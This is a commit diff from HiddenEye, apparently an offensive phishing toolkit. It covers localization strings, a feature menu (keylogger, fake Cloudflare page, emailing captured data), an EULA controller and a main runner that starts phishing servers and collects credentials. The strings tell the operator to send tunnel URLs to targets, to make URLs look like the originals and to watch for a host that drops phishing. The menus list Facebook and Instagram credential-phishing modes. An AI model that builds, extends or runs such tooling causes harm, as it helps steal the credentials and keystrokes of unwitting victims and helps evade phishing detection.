"getting_pressed_keys" : _('\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n').format(default_palette[2], default_palette[3])
"waiting_for_interaction":
_("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n"
).format(default_palette[0], default_palette[2], default_palette[4]),
"credentials_found":
_("\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n").format(
default_palette[2], default_palette[3]),
"device_details_found":
_("\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n").format(
default_palette[2], default_palette[3]),
"getting_pressed_keys":
_("\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n").format(
default_palette[2], default_palette[3]),
}
lang_terms_of_service_message = {
"great_power_great_responsibility" : _(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY ").format(default_palette[0], default_palette[2]),
"do_you_accept_license" : _("{0}Do you accept {1}license{0}?").format(default_palette[2], default_palette[0]),
"enter_this_to_confirm" : _("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(default_palette[2], default_palette[0], text_to_confirm = text_to_confirm_license),
"you_are_not_allowed" : _("{0}You are {1}not allowed {0}to use this app without accepting license.").format(default_palette[2], default_palette[0]),
"GPL_3.0" : _("""
"great_power_great_responsibility":
_(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
).format(default_palette[0], default_palette[2]),
"do_you_accept_license":
_("{0}Do you accept {1}license{0}?").format(default_palette[2],
default_palette[0]),
"enter_this_to_confirm":
_("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(
default_palette[2],
default_palette[0],
text_to_confirm=text_to_confirm_license),
"you_are_not_allowed":
_("{0}You are {1}not allowed {0}to use this app without accepting license."
).format(default_palette[2], default_palette[0]),
"GPL_3.0":
_("""
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
@ -750,5 +811,5 @@ may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
""")
}
"""),
}

View File

@ -0,0 +1,32 @@
#
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette
feature_prompt = {
"feature_alert":
_("---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD "
"LIKE TO USE. ]{1} {0}\n---------------------------------------------------------"
.format(default_palette[0], default_palette[4])),
"keylogger":
_("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(
default_palette[0], default_palette[2])),
"cloudfare":
_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(
default_palette[0], default_palette[2])),
"email":
_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(
default_palette[0], default_palette[2])),
"none":
_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(
default_palette[0], default_palette[2])),
"example":
_("\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}"
.format(default_palette[0], default_palette[2])),
}

View File

@ -4,9 +4,8 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import Defs.ThemeManager.theme as theme
default_palette = theme.default_palette
hidden_eye_logo = """
@ -14,9 +13,20 @@ hidden_eye_logo = """
{1} {2} {0}
{1} {2} {0}
{1} {2} {0}
{1} {2} {0}""".format(default_palette[4], default_palette[2], default_palette[0])
{1} {2} {0}""".format(
default_palette[4], default_palette[2], default_palette[0])
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2])
official_website_link = '{0}https://dark-sec-official.com'.format(default_palette[0])
by_darksec = '{0}** BY:DARKSEC **'.format(default_palette[0])
line_of_dots = '{0}...............................'.format(default_palette[0])
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0],
default_palette[2])
official_website_link = "{0}https://dark-sec-official.com".format(
default_palette[0])
by_darksec = "{0}** BY:DARKSEC **".format(default_palette[0])
line_of_dots = "{0}...............................".format(default_palette[0])
small_logo = """{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
default_palette[2])
invalid_option = "Please choose a valid option."

View File

@ -4,10 +4,8 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import gettext
gettext.bindtextdomain('HiddenEye', 'locale')
gettext.textdomain('HiddenEye')
_ = gettext.gettext
gettext.bindtextdomain("HiddenEye", "locale")
gettext.textdomain("HiddenEye")
_ = gettext.gettext

View File

@ -5,5 +5,10 @@
# under certain conditions; you can read LICENSE for details.
#
default_palette = ['\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'] #Will be replaced later, TODO
default_palette = [
"\033[91m",
"\033[46m",
"\033[36m",
"\033[1;32m",
"\033[0m",
] # TODO Will be replaced later,

View File

@ -4,42 +4,38 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
from os import system, environ
import multiprocessing
import ssl
from os import environ
import Defs.ActionManager.main_runner as main_runner
import Defs.FeatureManager.keylogger as keylogger
import Defs.FeatureManager.cloudflare as cloudflare
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.ActionManager.Server.server_runner as server_runner
import Defs.ActionManager.simple_informant as simple_informant
import multiprocessing
import sys
import ssl
import Defs.FeatureManager.feature_prompt as prompt
from controllers.EULA_controller import EULAController
if EULAController().check_eula_existence() is False:
EULAController().generate_new_eula()
if EULAController().check_eula_confirmation() is False:
EULAController().confirm_eula()
simple_informant.license_handler()
agreement = simple_informant.terms_of_service_message()
if not agreement:
exit()
if not environ.get('PYTHONHTTPSVERIFY', "") and getattr(ssl, '_create_unverified_context', None):
if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
ssl, "_create_unverified_context", None):
ssl._create_default_https_context = ssl._create_unverified_context
simple_informant.check_permissions()
simple_informant.verify_connection()
# verCheck() # For now it's useless, i'll rewrite it later, after release.
simple_informant.check_php()
#checkLocalxpose()
#checkOpenport()
#checkPagekite()
#checkLT()
# checkLocalxpose()
simple_informant.verify_connection()
# checkOpenport()
# checkPagekite()
# checkLT()
if __name__ == "__main__":
try:
main_runner.start_main_menu()
keylogger.add_keylogger_prompt()
cloudflare.add_cloudflare_prompt()
email_prompt.captured_data_email_prompt()
prompt.feature_prompt()
main_runner.enter_custom_redirecting_url()
port = simple_informant.port_selector()
@ -47,10 +43,12 @@ if __name__ == "__main__":
server_runner.start_server(port)
server_runner.server_selection(port)
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start()
simple_informant.credentials_collector(port)
multiprocessing.Process(target=server_runner.start_server,
args=(port, )).start()
simple_informant.credentials_collector()
except KeyboardInterrupt:
port = '8080' # When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors)
# When Keyword Interrupt Occurs script will use 8080 port.(Just To Remove Exception Errors)
port = "8080"
simple_informant.exit_message(port)
exit()

View File

@ -20,7 +20,8 @@ English description | <a href="README_RU.md">Описание на русско
<a href="https://github.com/DarkSecDevelopers/HiddenEye/releases"><img title="GitHub version" src="https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=1.0.0&x2=0" ></a>
<a href="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye"><img src="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye/badge" alt="CodeFactor" /></a>
<a href="https://www.codacy.com/manual/DarkSecDevelopers/HiddenEye?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=DarkSecDevelopers/HiddenEye&amp;utm_campaign=Badge_Grade"><img src="https://api.codacy.com/project/badge/Grade/af9fadca3cfc4de19232d0840988e121"/></a>
<a href="https://app.fossa.com/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye?ref=badge_shield" alt="FOSSA Status"><img src="https://app.fossa.com/api/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye.svg?type=shield"/></a>
<a href="https://app.fossa.com/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye?ref=badge_shield><img src="https://app.fossa.com/api/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye.svg?type=shield"/></a>
<a href="https://www.python.org/dev/peps/pep-0008/"><img title="PEP8" src="https://img.shields.io/badge/code%20style-pep8-orange.svg"></a>
</p>
## DISCLAIMER

1
__init__.py Normal file
View File

@ -0,0 +1 @@

View File

@ -0,0 +1,69 @@
import pathlib
import stat
from os import chmod
from time import sleep
from views.EULA_view import EULAView
class EULAController:
def __init__(self, confirmation_text: str = "eula = True"):
self.eula = "eula.txt"
self.confirmation_text = confirmation_text
self.license = open("LICENSE", "r")
def check_eula_existence(self):
"""
:return: True if self.eula exists
"""
if pathlib.Path(self.eula).exists():
print(EULAView().EULA_messages["eula_found"])
return True
print(EULAView().EULA_messages["eula_not_found"])
return False
def generate_new_eula(self):
pathlib.Path(str(self.eula)).touch(exist_ok=True)
text_license = self.license.read()
with open(str(self.eula), "w+") as temp_eula:
chmod(self.eula, 0o777)
temp_eula.write("{0}\n{1}".format(
EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
text_license,
))
temp_eula.close()
def check_eula_confirmation(self):
with open(self.eula, "r") as file:
if self.confirmation_text in file.read():
print(EULAView().EULA_messages["eula_is_confirmed"])
return True
else:
print(EULAView().EULA_messages["eula_is_not_confirmed"])
return False
def confirm_eula(self):
print(
f'{self.license.read()}\n{EULAView().EULA_messages["eula_power_and_responsibility_message"]}\n')
print(EULAView().EULA_messages["eula_full_disclaimer"])
print(
f'{EULAView().EULA_messages["eula_do_you_accept"]} \n\n{EULAView().EULA_messages["eula_enter_to_continue"]}\n')
answer = input(
EULAView().EULA_messages["eula_input_prompt"]).lower().replace(" ", "")
if answer == "iaccepteula":
eula_temp_input = open(self.eula, "rt")
eula_temp_data = eula_temp_input.read().replace(
EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
EULAView().EULA_messages["eula_start_of_file_confirmed"],
)
eula_temp_input.close()
eula_temp_input = open(self.eula, "wt")
eula_temp_input.write(eula_temp_data)
eula_temp_input.close()
print(EULAView().EULA_messages["eula_was_just_accepted"])
sleep(1.5)
pass
else:
print(EULAView().EULA_messages["eula_was_just_rejected"])
sleep(1.5)
exit()

View File

@ -1,4 +1,7 @@
<!DOCTYPE html>
<-- WHY THIS FUCKING THING IS PLACED IN ROOT PROJECT DIRECTORY?! -->
<-- AND WHY IT'S CALLED index.html WHEN IT'S ADDITIONAL PAGE? -->
<html lang="en" class="no-js">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
@ -168,4 +171,4 @@ Copyright &copy; 2020 All rights reserved
</script>
<script src="https://ajax.cloudflare.com/cdn-cgi/scripts/7089c43e/cloudflare-static/rocket-loader.min.js" data-cf-settings="6f2cc84ed21a56e1afac3a6d-|49" defer=""></script>
</body>
</html>
</html>

Binary file not shown.

View File

@ -5,8 +5,8 @@
msgid ""
msgstr ""
"Project-Id-Version: \n"
"POT-Creation-Date: 2020-05-11 14:09+0300\n"
"PO-Revision-Date: 2020-05-11 14:10+0300\n"
"POT-Creation-Date: 2020-06-09 02:44+0300\n"
"PO-Revision-Date: 2020-06-09 02:48+0300\n"
"Last-Translator: sTiKyt <stikyt@protonmail.com>\n"
"Language-Team: \n"
"Language: en\n"
@ -91,8 +91,9 @@ msgstr ""
"{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:49
msgid "{0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode)"
msgstr "{0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode)"
msgid "{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
msgstr ""
"{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:51
msgid "{0}[{1}3{0}]{1} New Google Web"
@ -114,8 +115,8 @@ msgstr ""
"{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:55
msgid "{0}[{1}2{0}]{1} Instagram Autoliker Phising (To Lure The Users)"
msgstr "{0}[{1}2{0}]{1} Instagram Autoliker Phising (To Lure The Users)"
msgid "{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"
msgstr "{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:55
msgid "{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)"
@ -231,11 +232,223 @@ msgstr ""
"\n"
"{0}REDIRECT HERE>>> {1}"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:14
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:14
msgid ""
"{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n"
"-------------------------------"
msgstr ""
"{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n"
"-------------------------------"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:15
msgid ""
"\n"
" {0}[{1}*{0}]{0}Select Any Available Server:{1}"
msgstr ""
"\n"
" {0}[{1}*{0}]{0}Select Any Available Server:{1}"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:24
msgid ""
"\n"
"{0}[ LOCALHOST SERVER ]{1}! {0}\n"
"-------------------------------"
msgstr ""
"\n"
"{0}[ LOCALHOST SERVER ]{1}! {0}\n"
"-------------------------------"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:25
msgid "Your Localhost is "
msgstr "Your Localhost is "
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:26
msgid ""
"\n"
"[*] Starting Server On Address:: {0}:{1}"
msgstr ""
"\n"
"[*] Starting Server On Address:: {0}:{1}"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:27
msgid ""
"\n"
"{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n"
"-------------------------------"
msgstr ""
"\n"
"{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n"
"-------------------------------"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:28
msgid ""
"\n"
"{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK"
msgstr ""
"\n"
"{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:29
msgid ""
"\n"
"{0}[{1}*{0}]{1} Localhost URL: {2}http://"
msgstr ""
"\n"
"{0}[{1}*{0}]{1} Localhost URL: {2}http://"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:33
msgid ""
"\n"
"{0}[ NGROK SERVER ]{1}! {0}\n"
"-------------------------------"
msgstr ""
"\n"
"{0}[ NGROK SERVER ]{1}! {0}\n"
"-------------------------------"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:34
msgid ""
"\n"
"{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS"
msgstr ""
"\n"
"{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:35
msgid ""
"\n"
"{0}[{1}*{0}]{1} NGROK URL: {2}"
msgstr ""
"\n"
"{0}[{1}*{0}]{1} NGROK URL: {2}"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:39
msgid ""
"\n"
"{0}[ RANDOM SERVEO URL ]{1}! {0}\n"
"-------------------------------"
msgstr ""
"\n"
"{0}[ RANDOM SERVEO URL ]{1}! {0}\n"
"-------------------------------"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:40
msgid ""
"\n"
"{0}[ CUSTOM SERVEO URL ]{1}! {0}\n"
"-------------------------------"
msgstr ""
"\n"
"{0}[ CUSTOM SERVEO URL ]{1}! {0}\n"
"-------------------------------"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:41
msgid ""
"\n"
"{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS"
msgstr ""
"\n"
"{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:42
msgid ""
"\n"
"{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL."
msgstr ""
"\n"
"{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:43
msgid ""
"\n"
"{0}Insert a custom subdomain for serveo"
msgstr ""
"\n"
"{0}Insert a custom subdomain for serveo"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:44
msgid ""
"\n"
"{0}[{1}*{0}]{1} SERVEO URL: {2}"
msgstr ""
"\n"
"{0}[{1}*{0}]{1} SERVEO URL: {2}"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:45
msgid ""
"\n"
"{0}FAILED TO GET THIS DOMAIN."
msgstr ""
"\n"
"{0}FAILED TO GET THIS DOMAIN."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:46
msgid ""
"\n"
"{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
msgstr ""
"\n"
"{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:47
msgid ""
"\n"
"{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)..."
msgstr ""
"\n"
"{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)..."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:48
msgid ""
"\n"
"{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n"
"-------------------------------"
msgstr ""
"\n"
"{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n"
"-------------------------------"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:49
msgid ""
"\n"
"{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be "
"careful."
msgstr ""
"\n"
"{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be "
"careful."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:50
msgid ""
"\n"
"{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
msgstr ""
"\n"
"{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:54
msgid ""
"{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? "
"{1}Y{0}/{1}n{0}"
msgstr ""
"{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? "
"{1}Y{0}/{1}n{0}"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:58
msgid ""
"\n"
"{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n"
"-------------------------------"
msgstr ""
"\n"
"{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n"
"-------------------------------"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:16
msgid "Yes, i do"
msgstr "Yes, i do"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:15
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:18
msgid ""
"\n"
" # To Accept EULA set eula to True\n"
@ -249,162 +462,220 @@ msgstr ""
" \n"
" "
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:22
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:25
msgid ""
"\n"
" {0}[{1}*{0}] SELECT ANY MODE...{0}\n"
"--------------------------------"
" {0}[{1}*{0}] PHP has been found. Proceeding."
msgstr ""
"\n"
" {0}[{1}*{0}] SELECT ANY MODE...{0}\n"
"--------------------------------"
" {0}[{1}*{0}] PHP has been found. Proceeding."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:26
msgid ""
"\n"
" {0}[{1}*{0}] Unable to find PHP, please install PHP and try again."
msgstr ""
"\n"
" {0}[{1}*{0}] Unable to find PHP, please install PHP and try again."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:30
msgid ""
"\n"
"{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n"
"-------------------------------"
msgstr ""
"\n"
"{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n"
"-------------------------------"
msgid "{0}Permissions granted!"
msgstr "{0}Permissions granted!"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:31
msgid ""
"\n"
" {0}[{1}*{0}]Select Port [1-65535]:{1}"
msgstr ""
"\n"
" {0}[{1}*{0}]Select Port [1-65535]:{1}"
msgid "{0}Permissions denied! Please run as {1}sudo{0}"
msgstr "{0}Permissions denied! Please run as {1}sudo{0}"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:32
msgid ""
"\n"
" {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you "
"still able to choose any ports you want."
"{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're "
"using a {1}Linux/GNU{0} system."
msgstr ""
"\n"
" {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you "
"still able to choose any ports you want."
"{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're "
"using a {1}Linux/GNU{0} system."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:36
msgid ""
"\n"
"{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n"
"\n"
" >> {2}"
" {0}[{1}*{0}] INTERNET - {1}[CONNECTED]"
msgstr ""
"\n"
"{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n"
"\n"
" >> {2}"
" {0}[{1}*{0}] INTERNET - {1}[CONNECTED]"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:37
msgid ""
"{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
"\n"
" {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]"
msgstr ""
"{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
"\n"
" {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:38
msgid "{0}[{1}!{0}] If any phishing page got broken, please let us know."
msgstr "{0}[{1}!{0}] If any phishing page got broken, please let us know."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:39
msgid "{0}[{1}!{0}] You can create issue or pull request on our GitHub page."
msgstr "{0}[{1}!{0}] You can create issue or pull request on our GitHub page."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:40
msgid ""
"{0}[{1}!{0}] We are not responsible for anything you do with this tool, "
"please review license agreement when you have some time. \n"
"{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't "
"act so irresponsible with any software you use."
"\n"
"{0}[{1}!{0}] Network error. Please verify your internet connection."
msgstr ""
"{0}[{1}!{0}] We are not responsible for anything you do with this tool, "
"please review license agreement when you have some time. \n"
"{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't "
"act so irresponsible with any software you use."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:41
msgid ""
"{0}[{1}!{0}] Our website has forum, please visit it, we want to build great "
"community for all of you, we are always happy to have your help."
msgstr ""
"{0}[{1}!{0}] Our website has forum, please visit it, we want to build great "
"community for all of you, we are always happy to have your help."
"\n"
"{0}[{1}!{0}] Network error. Please verify your internet connection."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:42
msgid ""
"{0}[{1}!{0}] If you want to support us with finances - visit our patreon "
"page: (here_will_be_link_soon)"
msgstr ""
"{0}[{1}!{0}] If you want to support us with finances - visit our patreon "
"page: (here_will_be_link_soon)"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:43
msgid ""
"{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}"
"DarkSec{0} happy to have you, thank you very much! Have a nice day!"
msgstr ""
"{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}"
"DarkSec{0} happy to have you, thank you very much! Have a nice day!"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:47
msgid ""
"{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming "
"From Target ... \n"
"{2}"
"________________________________________________________________________________\n"
msgstr ""
"{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming "
"From Target ... \n"
"{2}"
"________________________________________________________________________________\n"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:48
msgid ""
"\n"
" {0}[{1} CREDENTIALS FOUND {0}]{1}:\n"
" {0}[{1}*{0}] SELECT ANY MODE...{0}\n"
"--------------------------------"
msgstr ""
"\n"
" {0}[{1} CREDENTIALS FOUND {0}]{1}:\n"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:49
msgid ""
"\n"
" {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n"
msgstr ""
"\n"
" {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n"
" {0}[{1}*{0}] SELECT ANY MODE...{0}\n"
"--------------------------------"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:50
msgid ""
"\n"
"{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n"
"-------------------------------"
msgstr ""
"\n"
"{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n"
"-------------------------------"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:51
msgid ""
"\n"
" {0}[{1}*{0}]Select Port [1-65535]:{1}"
msgstr ""
"\n"
" {0}[{1}*{0}]Select Port [1-65535]:{1}"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:52
msgid ""
"\n"
" {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you "
"still able to choose any ports you want."
msgstr ""
"\n"
" {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you "
"still able to choose any ports you want."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:56
msgid ""
"\n"
"{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n"
"\n"
" >> {2}"
msgstr ""
"\n"
"{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n"
"\n"
" >> {2}"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:57
msgid ""
"{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
msgstr ""
"{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:58
msgid "{0}[{1}!{0}] If any phishing page got broken, please let us know."
msgstr "{0}[{1}!{0}] If any phishing page got broken, please let us know."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:59
msgid "{0}[{1}!{0}] You can create issue or pull request on our GitHub page."
msgstr "{0}[{1}!{0}] You can create issue or pull request on our GitHub page."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:60
msgid ""
"{0}[{1}!{0}] We are not responsible for anything you do with this tool, "
"please review license agreement when you have some time. \n"
"{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't "
"act so irresponsible with any software you use."
msgstr ""
"{0}[{1}!{0}] We are not responsible for anything you do with this tool, "
"please review license agreement when you have some time. \n"
"{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't "
"act so irresponsible with any software you use."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:61
msgid ""
"{0}[{1}!{0}] Our website has forum, please visit it, we want to build great "
